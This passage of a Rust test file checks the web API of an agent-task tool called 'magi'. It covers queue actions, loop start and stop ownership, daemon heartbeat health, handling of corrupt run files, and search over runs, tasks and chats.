10496    }
10497
10498    #[tokio::test]
10499    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10500        let f = Fixture::start().await;
10501        let queue = f.queue();
10502        let mut task = Task::new(
10503            "busy".to_owned(),
10504            "Running right now".to_owned(),
10505            PathBuf::from("/repo/magi"),
10506            Source::Human,
10507        );
10508        queue.put(&mut task).expect("file the task");
10509        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10510
10511        let priority = f
10512            .post(
10513                &format!("/api/queue/{}/priority", task.id),
10514                Some(r#"{"priority":9}"#),
10515            )
10516            .await;
10517        assert_eq!(priority.status, 409, "{}", priority.body);
10518
10519        let edit = f
10520            .post(
10521                &format!("/api/queue/{}/edit", task.id),
10522                Some(r#"{"title":"x","instruction":"y"}"#),
10523            )
10524            .await;
10525        assert_eq!(edit.status, 409, "{}", edit.body);
10526    }
10527
10528    #[tokio::test]
10529    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10530        let f = Fixture::start().await;
10531        let queue = f.queue();
10532        let mut task = Task::new(
10533            "shipped by hand".to_owned(),
10534            "merged outside the loop".to_owned(),
10535            PathBuf::from("/repo/magi"),
10536            Source::Agent {
10537                run: "20260101-000000-b455".to_owned(),
10538                node: "implement".to_owned(),
10539            },
10540        );
10541        task.runs.push("20260101-000000-b455".to_owned());
10542        task.runs.push("20260101-000000-9af4".to_owned());
10543        queue.put(&mut task).expect("file the task");
10544        let created_at = task.created_at;
10545
10546        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10547        assert_eq!(done.status, 200, "{}", done.body);
10548        assert_eq!(done.json()["status_str"], "done");
10549
10550        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10551        assert_eq!(
10552            reloaded.runs,
10553            ["20260101-000000-b455", "20260101-000000-9af4"]
10554        );
10555        assert_eq!(
10556            reloaded.source,
10557            Source::Agent {
10558                run: "20260101-000000-b455".to_owned(),
10559                node: "implement".to_owned(),
10560            }
10561        );
10562        assert_eq!(reloaded.created_at, created_at);
10563    }
10564
10565    #[tokio::test]
10566    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10567        // `done` is allowed on any status, including `held`, with no release
10568        // in between - so a task held for a reason and then closed directly
10569        // must not keep reading as "waiting on" it afterwards, on its card or
10570        // in `magi task show`.
10571        let f = Fixture::start().await;
10572        let queue = f.queue();
10573        let mut task = Task::new(
10574            "landed while held".to_owned(),
10575            "x".to_owned(),
10576            PathBuf::from("/repo/magi"),
10577            Source::Human,
10578        );
10579        task.hold_manual(Some("waiting on 3ed9".to_owned()));
10580        queue.put(&mut task).expect("file the held task");
10581
10582        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10583        assert_eq!(done.status, 200, "{}", done.body);
10584        assert_eq!(done.json()["status_str"], "done");
10585        assert!(
10586            done.json()["hold_reason"].is_null(),
10587            "a done task cannot still be waiting on something: {}",
10588            done.body
10589        );
10590    }
10591
10592    #[tokio::test]
10593    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10594        // `queue_done` is the phone's way to close a task the loop never
10595        // settled itself - after confirming a manual GitHub merge, say - and
10596        // that is just as much "this task's story is over" as the loop's own
10597        // `Merged`/`Ready` path, so it must trigger the same cleanup.
10598        let f = Fixture::start().await;
10599        let queue = f.queue();
10600        let runs = f.runs();
10601        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10602        // The last attempt has to have actually landed for the earlier one
10603        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
10604        // for the case where it didn't.
10605        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10606
10607        let mut task = Task::new(
10608            "landed by hand".to_owned(),
10609            "x".to_owned(),
10610            PathBuf::from("/repo/magi"),
10611            Source::Human,
10612        );
10613        task.runs.push("20260101-000000-doa1".to_owned());
10614        task.runs.push("20260101-000000-doa2".to_owned());
10615        queue.put(&mut task).expect("file the task");
10616
10617        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10618        assert_eq!(done.status, 200, "{}", done.body);
10619
10620        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10621            .expect("run still on disk under this fixture's own home");
10622        assert_eq!(
10623            reloaded_run.status,
10624            RunStatus::Superseded,
10625            "closing the task by hand must relabel the earlier blocked attempt exactly \
10626             like the loop's own settle path does"
10627        );
10628    }
10629
10630    #[tokio::test]
10631    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10632        // Closing a task by hand is allowed from any status, including one
10633        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
10634        // manual merge the loop never watched, say. Nothing here is provably
10635        // why the task is done, so nothing earlier gets relabelled either.
10636        let f = Fixture::start().await;
10637        let queue = f.queue();
10638        let runs = f.runs();
10639        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10640        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10641
10642        let mut task = Task::new(
10643            "closed with nothing actually landed".to_owned(),
10644            "x".to_owned(),
10645            PathBuf::from("/repo/magi"),
10646            Source::Human,
10647        );
10648        task.runs.push("20260101-000000-dob1".to_owned());
10649        task.runs.push("20260101-000000-dob2".to_owned());
10650        queue.put(&mut task).expect("file the task");
10651
10652        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10653        assert_eq!(done.status, 200, "{}", done.body);
10654
10655        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10656            .expect("run still on disk under this fixture's own home");
10657        assert_eq!(
10658            reloaded_run.status,
10659            RunStatus::Blocked,
10660            "the last recorded attempt never landed, so the earlier one must not be \
10661             relabelled as superseded by it"
10662        );
10663    }
10664
10665    #[tokio::test]
10666    async fn unknown_ids_are_json_not_found_on_both_stores() {
10667        let f = Fixture::start().await;
10668
10669        let run = f.get("/api/runs/nosuchrun").await;
10670        let task = f.post("/api/queue/nosuchtask/hold", None).await;
10671
10672        assert_eq!(run.status, 404);
10673        assert_eq!(task.status, 404);
10674        assert!(
10675            run.json()["error"]
10676                .as_str()
10677                .is_some_and(|e| e.contains("run")),
10678            "the error names what was not found: {}",
10679            run.body
10680        );
10681        assert!(
10682            task.json()["error"]
10683                .as_str()
10684                .is_some_and(|e| e.contains("task")),
10685            "the error names what was not found: {}",
10686            task.body
10687        );
10688    }
10689
10690    #[tokio::test]
10691    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10692        let f = Fixture::start().await;
10693
10694        let missing = f.get("/api/health").await.json();
10695        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10696
10697        write_daemon(
10698            f.home.path(),
10699            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10700        );
10701        let stale = f.get("/api/health").await.json();
10702        assert_eq!(
10703            stale["daemon"]["running"], false,
10704            "a minute without a heartbeat is a dead daemon, not a busy one"
10705        );
10706        assert!(
10707            stale["daemon"]["stale_for_secs"]
10708                .as_i64()
10709                .is_some_and(|s| s >= 55),
10710            "staleness is reported so the UI can say how long: {stale}"
10711        );
10712
10713        write_daemon(f.home.path(), Timestamp::now());
10714        let fresh = f.get("/api/health").await.json();
10715        assert_eq!(fresh["daemon"]["running"], true);
10716        assert_eq!(fresh["daemon"]["idle"], false);
10717        assert_eq!(fresh["daemon"]["pid"], 4242);
10718        assert_eq!(fresh["daemon"]["completed"], 7);
10719        assert_eq!(
10720            fresh["daemon"]["current"][0]["task"],
10721            "20260902-140501-aaaa"
10722        );
10723        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10724    }
10725
10726    #[tokio::test]
10727    async fn the_loop_is_not_running_until_something_starts_it() {
10728        let f = Fixture::start().await;
10729
10730        let view = f.get("/api/loop").await.json();
10731        assert_eq!(view["running"], false);
10732        assert_eq!(
10733            view["owned"], false,
10734            "nobody owns a loop that does not exist: {view}"
10735        );
10736        assert_eq!(view["stopping"], false);
10737        assert_eq!(view["last_error"], Value::Null);
10738        assert_eq!(view["daemon"]["running"], false);
10739        assert_eq!(
10740            view["repo"], "/repo/magi",
10741            "the repository a start would use, named before it is started"
10742        );
10743    }
10744
10745    #[tokio::test]
10746    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10747        let f = Fixture::start().await;
10748
10749        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10750        assert_eq!(res.status, 200, "{}", res.body);
10751        let view = res.json();
10752        assert_eq!(view["running"], true);
10753        assert_eq!(
10754            view["owned"], true,
10755            "the loop the UI started is the UI's own to stop: {view}"
10756        );
10757        assert_eq!(
10758            view["merge"],
10759            Value::Null,
10760            "no override was given, so each repository's own config decides"
10761        );
10762
10763        // The same object from the route a waking phone polls first. Two
10764        // surfaces disagreeing about whether anything is running is exactly
10765        // the confusion this UI exists to remove.
10766        let health = f.get("/api/health").await.json();
10767        assert_eq!(health["loop"]["running"], true, "{health}");
10768        assert_eq!(health["loop"]["owned"], true, "{health}");
10769
10770        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10771    }
10772
10773    #[tokio::test]
10774    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10775        let f = Fixture::start().await;
10776        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10777        assert_eq!(first.status, 200, "{}", first.body);
10778
10779        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10780        assert_eq!(
10781            again.status, 409,
10782            "two loops on one queue race for the same claims: {}",
10783            again.body
10784        );
10785        assert!(
10786            again.json()["error"]
10787                .as_str()
10788                .is_some_and(|e| e.contains("already running the loop")),
10789            "the refusal has to say why: {}",
10790            again.body
10791        );
10792        assert_eq!(
10793            f.get("/api/loop").await.json()["running"],
10794            true,
10795            "and the loop that was already running is untouched by it"
10796        );
10797
10798        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10799    }
10800
10801    #[tokio::test]
10802    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10803        let f = Fixture::start().await;
10804        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10805
10806        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10807        assert_eq!(
10808            res.status, 200,
10809            "the answer must not wait for the loop: a run in flight is tens of \
10810             minutes and the operator is holding a phone: {}",
10811            res.body
10812        );
10813
10814        let view = settled(&f, |v| v["running"] == false).await;
10815        assert_eq!(view["owned"], false);
10816        assert_eq!(
10817            view["stopping"], false,
10818            "a loop that has stopped is not still stopping: {view}"
10819        );
10820        assert_eq!(
10821            view["last_error"],
10822            Value::Null,
10823            "a loop that was asked to stop did not fail: {view}"
10824        );
10825
10826        // Idempotent, because the operator cannot tell a slow stop from a lost
10827        // one and will press it again.
10828        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10829        assert_eq!(twice.status, 200, "{}", twice.body);
10830    }
10831
10832    #[tokio::test]
10833    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10834        let f = Fixture::start().await;
10835        // How the operator has been doing it: a `magi serve` of their own,
10836        // heartbeat fresh, in the same home this UI reads.
10837        write_daemon(f.home.path(), Timestamp::now());
10838
10839        let view = f.get("/api/loop").await.json();
10840        assert_eq!(view["running"], false, "not in this process: {view}");
10841        assert_eq!(view["owned"], false, "and not this process's to control");
10842        assert_eq!(
10843            view["daemon"]["running"], true,
10844            "but a loop is alive somewhere, which is what the UI must say"
10845        );
10846        assert_eq!(view["daemon"]["pid"], 4242);
10847
10848        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10849            let res = f.post("/api/loop", Some(body)).await;
10850            assert_eq!(
10851                res.status, 409,
10852                "neither button may pretend to work on someone else's loop: {}",
10853                res.body
10854            );
10855            assert!(
10856                res.json()["error"]
10857                    .as_str()
10858                    .is_some_and(|e| e.contains("4242")),
10859                "the refusal has to name the process the operator must go to: {}",
10860                res.body
10861            );
10862        }
10863        assert_eq!(
10864            f.get("/api/loop").await.json()["running"],
10865            false,
10866            "and the refusal started nothing"
10867        );
10868    }
10869
10870    #[tokio::test]
10871    async fn a_stale_status_file_is_not_a_foreign_owner() {
10872        let f = Fixture::start().await;
10873        write_daemon(
10874            f.home.path(),
10875            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10876        );
10877
10878        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10879        assert_eq!(
10880            res.status, 200,
10881            "a daemon killed a minute ago must not lock the loop out of its \
10882             own home for good: {}",
10883            res.body
10884        );
10885        assert_eq!(res.json()["running"], true);
10886
10887        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10888    }
10889
10890    #[tokio::test]
10891    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10892        let f = Fixture::start().await;
10893        let before = f.get("/api/health").await.json()["loop_rev"]
10894            .as_u64()
10895            .expect("a loop revision");
10896
10897        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10898
10899        let after = f.get("/api/health").await.json()["loop_rev"]
10900            .as_u64()
10901            .expect("a loop revision");
10902        assert!(
10903            after > before,
10904            "the loop is in-process state, so this counter is the only thing \
10905             that tells a second device the first one started it: {before} -> \
10906             {after}"
10907        );
10908
10909        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10910    }
10911
10912    #[tokio::test]
10913    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10914        let f = Fixture::with_loop(launch_broken).await;
10915
10916        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10917        assert_eq!(
10918            res.status, 200,
10919            "starting it is not the failure: {}",
10920            res.body
10921        );
10922
10923        let view = settled(&f, |v| v["last_error"].is_string()).await;
10924        assert_eq!(
10925            view["running"], false,
10926            "a loop that died must not read as running, or the operator has \
10927             nothing to press: {view}"
10928        );
10929        assert_eq!(view["owned"], false);
10930        assert!(
10931            view["last_error"]
10932                .as_str()
10933                .is_some_and(|e| e.contains("read-only file system")),
10934            "the phone is where a loop that died at 3am is visible: {view}"
10935        );
10936
10937        // And it can be started again: the corpse was reaped, not left to
10938        // occupy the slot.
10939        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10940        assert_eq!(again.status, 200, "{}", again.body);
10941        assert!(
10942            again.json()["last_error"]
10943                .as_str()
10944                .is_none_or(|e| !e.contains("read-only file system")),
10945            "a fresh start does not keep showing why the last one died: {}",
10946            again.body
10947        );
10948    }
10949
10950    /// An upgrade parks the run in flight before it restarts, and a park waits
10951    /// for the node - up to `timeout_implement`, an hour by default. The deck
10952    /// has to answer for all of it: the operator has just been told a run is
10953    /// finishing first, and this address is the only place that says how it is
10954    /// going. It did not, once - the listener went with the `select!` arm that
10955    /// began the handover, and the phone got `Cannot reach magi: Failed to
10956    /// fetch` for the rest of the wave.
10957    ///
10958    /// The other half is the older rule: the address must be free *before* the
10959    /// successor is started, or it dies on "address already in use" with its
10960    /// stdio sent to null and the deck never comes back.
10961    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10962    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10963        let home = TempDir::new().expect("temp home");
10964        let runs = home.path().join("runs");
10965        std::fs::create_dir_all(&runs).expect("runs dir");
10966        let ui = Ui::new(
10967            Queue::at(home.path().join("queue")),
10968            Questions::at(home.path().join("questions")),
10969            Talks::at(home.path().join("talks")),
10970            runs,
10971            home.path().to_path_buf(),
10972            PathBuf::from("/repo/magi"),
10973        )
10974        .with_worktrees_root(home.path().join("wt"))
10975        .with_launch(launch_knocking_on_the_way_out);
10976        let looping = ui.looping();
10977        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10978            .await
10979            .expect("bind loopback");
10980        let addr = listener.local_addr().expect("local addr");
10981        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10982        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10983
10984        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10985        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10986
10987        // The successor's whole job, and the one thing it cannot do while this
10988        // process still holds the socket.
10989        //
10990        // One bind is not enough, and the reason is not this process's order of
10991        // operations: aborting the accept loop drops the listener, but axum
10992        // serves each accepted connection on a task of its own, and those are
10993        // not aborted. The requests above left sockets on this very address,
10994        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
10995        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
10996        // Production absorbs that in `bind_waiting`; so does this. Only
10997        // `AddrInUse` is retried, and the listener is released before the
10998        // closure returns - were the order wrong, the listener would outlive
10999        // the closure and every attempt would fail. Inferred from the bind
11000        // rules and the code; not reproduced on macOS.
11001        let bound = std::sync::Mutex::new(None);
11002        hand_over(home.path(), &looping, served, |_| {
11003            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11004            let attempt = loop {
11005                match std::net::TcpListener::bind(addr) {
11006                    Ok(l) => {
11007                        drop(l);
11008                        break Ok(());
11009                    }
11010                    Err(e)
11011                        if e.kind() == std::io::ErrorKind::AddrInUse
11012                            && std::time::Instant::now() < deadline =>
11013                    {
11014                        std::thread::sleep(std::time::Duration::from_millis(10));
11015                    }
11016                    Err(e) => break Err(e.to_string()),
11017                }
11018            };
11019            *bound.lock().expect("bound") = Some(attempt);
11020            Ok(1)
11021        })
11022        .await
11023        .expect("hand over");
11024
11025        assert_eq!(
11026            *PARK_HEARD.lock().expect("park heard"),
11027            Some(200),
11028            "the deck must answer while the loop is parking"
11029        );
11030        let attempt = bound
11031            .lock()
11032            .expect("bound")
11033            .take()
11034            .expect("the successor was started");
11035        assert!(
11036            attempt.is_ok(),
11037            "and the address must be free by the time it is: {attempt:?}"
11038        );
11039    }
11040
11041    #[tokio::test]
11042    async fn a_newer_daemon_status_file_still_renders() {
11043        let f = Fixture::start().await;
11044        // A field this build has never heard of must not turn the status line
11045        // into a 500; that is the whole reason the reader is permissive.
11046        std::fs::write(
11047            f.home.path().join("daemon.json"),
11048            serde_json::json!({
11049                "schema": 2,
11050                "updated_at": Timestamp::now().to_string(),
11051                "idle": true,
11052                "surprise": { "nested": [1, 2, 3] },
11053            })
11054            .to_string(),
11055        )
11056        .expect("write daemon.json");
11057
11058        let health = f.get("/api/health").await;
11059
11060        assert_eq!(health.status, 200);
11061        assert_eq!(health.json()["daemon"]["running"], true);
11062    }
11063
11064    #[tokio::test]
11065    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11066        let f = Fixture::start().await;
11067        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11068        let broken = f.runs().join("20260902-140502-bad");
11069        std::fs::create_dir_all(&broken).expect("run dir");
11070        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11071
11072        let list = f.get("/api/runs").await;
11073        let detail = f.get("/api/runs/20260902-140502-bad").await;
11074
11075        assert_eq!(list.status, 200);
11076        let listed = list.json();
11077        let ids: Vec<&str> = listed
11078            .as_array()
11079            .expect("an array")
11080            .iter()
11081            .map(|r| r["id"].as_str().expect("an id"))
11082            .collect();
11083        assert_eq!(
11084            ids,
11085            vec!["20260902-140501-good"],
11086            "one unreadable run must not cost the operator the whole history"
11087        );
11088        assert_eq!(detail.status, 500);
11089        assert!(
11090            detail.json()["error"]
11091                .as_str()
11092                .is_some_and(|e| e.contains("run.json")),
11093            "the failure names the file to look at: {}",
11094            detail.body
11095        );
11096        // A skipped run has to be countable somewhere, or the UI shows an
11097        // empty history with nothing to explain it - which is exactly what a
11098        // directory full of older-schema runs looks like.
11099        let health = f.get("/api/health").await;
11100        assert_eq!(health.json()["runs_unreadable"], 1);
11101    }
11102
11103    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
11104    #[tokio::test]
11105    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11106        let f = Fixture::start().await;
11107        let runs = f.runs();
11108        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11109        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11110        // Text three levels down, in a shape no current RunState has: an older
11111        // schema must still search.
11112        let path = runs.join("20260902-140502-bbbb").join("run.json");
11113        let mut v: serde_json::Value =
11114            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11115        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11116        std::fs::write(&path, v.to_string()).unwrap();
11117        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11118        std::fs::write(
11119            runs.join("20260902-140503-cccc").join("run.json"),
11120            "{ not json",
11121        )
11122        .unwrap();
11123
11124        let res = f.get("/api/search?scope=runs&q=quokka").await;
11125        assert_eq!(res.status, 200, "{}", res.body);
11126        let v = res.json();
11127        assert_eq!(v["total"], 1, "{v}");
11128        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11129        assert_eq!(v["hits"][0]["field"], "text");
11130        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11131        let parts = v["hits"][0]["snippet"].as_array().unwrap();
11132        assert!(
11133            parts
11134                .iter()
11135                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11136            "{v}"
11137        );
11138        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11139        assert_eq!(
11140            flat, "The Quokka leaks across threads",
11141            "whitespace is collapsed"
11142        );
11143
11144        // Terms are ANDed, across different fields, case-insensitively.
11145        let both = f
11146            .get("/api/search?scope=runs&q=MOBILE%20quokka")
11147            .await
11148            .json();
11149        assert_eq!(both["total"], 1, "{both}");
11150        let neither = f
11151            .get("/api/search?scope=runs&q=quokka%20zebra")
11152            .await
11153            .json();
11154        assert_eq!(neither["total"], 0, "{neither}");
11155        // Everything in the task statement is reachable, not only the row text.
11156        let stmt = f
11157            .get("/api/search?scope=runs&q=mobile%20first")
11158            .await
11159            .json();
11160        assert_eq!(stmt["total"], 2, "{stmt}");
11161        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11162        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11163    }
11164
11165    #[test]
11166    fn snippet_ignores_terms_longer_than_the_field() {
11167        let terms = ["ok".to_owned(), "elephant".to_owned()];
11168        let parts = snippet_of("ok", &terms);
11169        assert_eq!(
11170            parts,
11171            vec![SnippetPart {
11172                text: "ok".to_owned(),
11173                hit: true
11174            }]
11175        );
11176    }
11177
11178    #[test]
11179    fn snippet_marks_matches_longer_than_the_window() {
11180        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11181        let hit_len = |parts: &[SnippetPart]| -> usize {
11182            parts
11183                .iter()
11184                .filter(|p| p.hit)
11185                .map(|p| p.text.chars().count())
11186                .sum()
11187        };
11188        let total =
11189            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11190
11191        let long = "a".repeat(120);
11192        let parts = snippet_of(&long, std::slice::from_ref(&long));
11193        assert!(hit_len(&parts) > 0, "{parts:?}");
11194        assert!(total(&parts) <= cap);
11195
11196        let ja = "あ".repeat(130);
11197        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11198        assert!(hit_len(&parts) > 0, "{parts:?}");
11199        assert!(total(&parts) <= cap);
11200
11201        // A short hit, then one straddling the window's end.
11202        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11203        let term = format!("ab{}", "c".repeat(100));
11204        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11205        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11206        assert!(total(&parts) <= cap);
11207
11208        // Only the head matches: not highlighted.
11209        let text = format!("{}z", "a".repeat(119));
11210        let parts = snippet_of(&text, &["a".repeat(120)]);
11211        assert_eq!(hit_len(&parts), 0, "{parts:?}");
11212    }
11213
11214    #[tokio::test]
11215    async fn search_caps_hits_and_snippet_length() {
11216        let f = Fixture::start().await;
11217        let runs = f.runs();
11218        for n in 0..(SEARCH_MAX_HITS + 5) {
11219            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11220        }
11221        let v = f.get("/api/search?scope=runs&q=web").await.json();
11222        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11223        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11224        assert_eq!(v["truncated"], true);
11225        // Every listed run hit carries its list row for the page's filters.
11226        assert!(
11227            v["hits"]
11228                .as_array()
11229                .unwrap()
11230                .iter()
11231                .all(|h| h["run"]["status"] == "merged")
11232        );
11233
11234        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11235        let parts = snippet_of(&long, &["needle".to_owned()]);
11236        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11237        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11238        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11239    }
11240
11241    #[tokio::test]
11242    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11243        let f = Fixture::start().await;
11244        let queue = f.queue();
11245        let mut t = Task::new(
11246            "short title".to_owned(),
11247            "line one\nthe hidden Armadillo detail".to_owned(),
11248            PathBuf::from("/repo/magi"),
11249            Source::Agent {
11250                run: "r1".to_owned(),
11251                node: "chat".to_owned(),
11252            },
11253        );
11254        t.last_error = Some("disk full on /tmp".to_owned());
11255        queue.put(&mut t).expect("file the task");
11256
11257        for (q, want) in [
11258            ("armadillo", 1),
11259            ("disk%20FULL", 1),
11260            ("chat", 1),
11261            ("queued", 1),
11262            ("short%20nothing", 0),
11263        ] {
11264            let v = f
11265                .get(&format!("/api/search?scope=tasks&q={q}"))
11266                .await
11267                .json();
11268            assert_eq!(v["total"], want, "{q}: {v}");
11269        }
11270        for bad in [
11271            "/api/search?scope=tasks&q=",
11272            "/api/search?scope=tasks&q=%20",
11273            "/api/search?scope=chats&q=",
11274            "/api/search?scope=chats&q=%20",
11275            "/api/search?scope=nope&q=a",
11276            "/api/search?q=a",
11277        ] {
11278            assert_eq!(f.get(bad).await.status, 400, "{bad}");
11279        }
11280    }
11281
11282    /// Write one conversation file the way the store reads it back.
11283    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11284        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11285            .expect("seat value");
11286        let turns: Vec<serde_json::Value> = turns
11287            .iter()
11288            .map(|(who, body)| {
11289                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11290            })
11291            .collect();
11292        let doc = serde_json::json!({
11293            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11294            "status": status, "turns": turns,
11295            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11296            "seat": seat,
11297        });
11298        let dir = f.home.path().join("talks");
11299        std::fs::create_dir_all(&dir).expect("talks dir");
11300        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11301    }
11302
11303    #[tokio::test]
11304    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11305        let f = Fixture::start().await;
11306        write_talk(
11307            &f,
11308            "20260901-000001-aaaa",
11309            "open",
11310            &[
11311                (
11312                    "operator",
11313                    "\n  Why does the Pangolin cache expire?\nsecond line",
11314                ),
11315                ("agent", "Because the TTL is thirty seconds."),
11316            ],
11317        );
11318        write_talk(
11319            &f,
11320            "20260901-000002-bbbb",
11321            "closed",
11322            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11323        );
11324        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11325
11326        let search = |q: &'static str| {
11327            let f = &f;
11328            async move {
11329                f.get(&format!("/api/search?scope=chats&q={q}"))
11330                    .await
11331                    .json()
11332            }
11333        };
11334
11335        let v = search("PANGOLIN").await;
11336        assert_eq!(v["scope"], "chats");
11337        assert_eq!(v["total"], 1, "{v}");
11338        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11339        assert_eq!(v["hits"][0]["field"], "title");
11340        assert_eq!(v["unreadable"], 1, "{v}");
11341        let marked: Vec<&str> = v["hits"][0]["snippet"]
11342            .as_array()
11343            .unwrap()
11344            .iter()
11345            .filter(|p| p["hit"] == true)
11346            .map(|p| p["text"].as_str().unwrap())
11347            .collect();
11348        assert_eq!(marked, ["Pangolin"]);
11349
11350        // An agent turn, in a closed conversation.
11351        let v = search("zebra").await;
11352        assert_eq!(v["total"], 1, "{v}");
11353        assert_eq!(v["hits"][0]["field"], "agent");
11354        // Words may sit in different turns; all must be present.
11355        assert_eq!(search("pangolin%20thirty").await["total"], 1);
11356        assert_eq!(search("pangolin%20zebra").await["total"], 0);
11357        // Bookkeeping is not searched.
11358        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11359            assert_eq!(search(q).await["total"], 0, "{q}");
11360        }
11361        // The first line only is the title; the second line is still a turn.
11362        assert_eq!(search("second").await["hits"][0]["field"], "operator");
11363        // Open conversations are listed before closed ones.
11364        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11365
11366        let v = f.get("/api/search?scope=nope&q=a").await;
11367        assert_eq!(v.status, 400);
11368        assert!(
11369            v.body.contains("scope must be runs, tasks or chats"),
11370            "{}",
11371            v.body
11372        );
11373    }
11374
11375    #[test]
11376    fn a_question_card_links_a_task_id_to_the_task_page() {
11377        let start = APP_JS
11378            .find("function updateAskCard(")
11379            .expect("updateAskCard exists");
11380        let body = &APP_JS[start..];
11381        let body = &body[..body.find("\n}\n").expect("function end")];
11382        assert!(body.contains("question.run_is_task"));
11383        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11384        assert!(body.contains("`#/runs/${question.run}`"));
11385        assert!(body.contains("\"task\" : \"run\""));
11386    }
11387
11388    #[test]
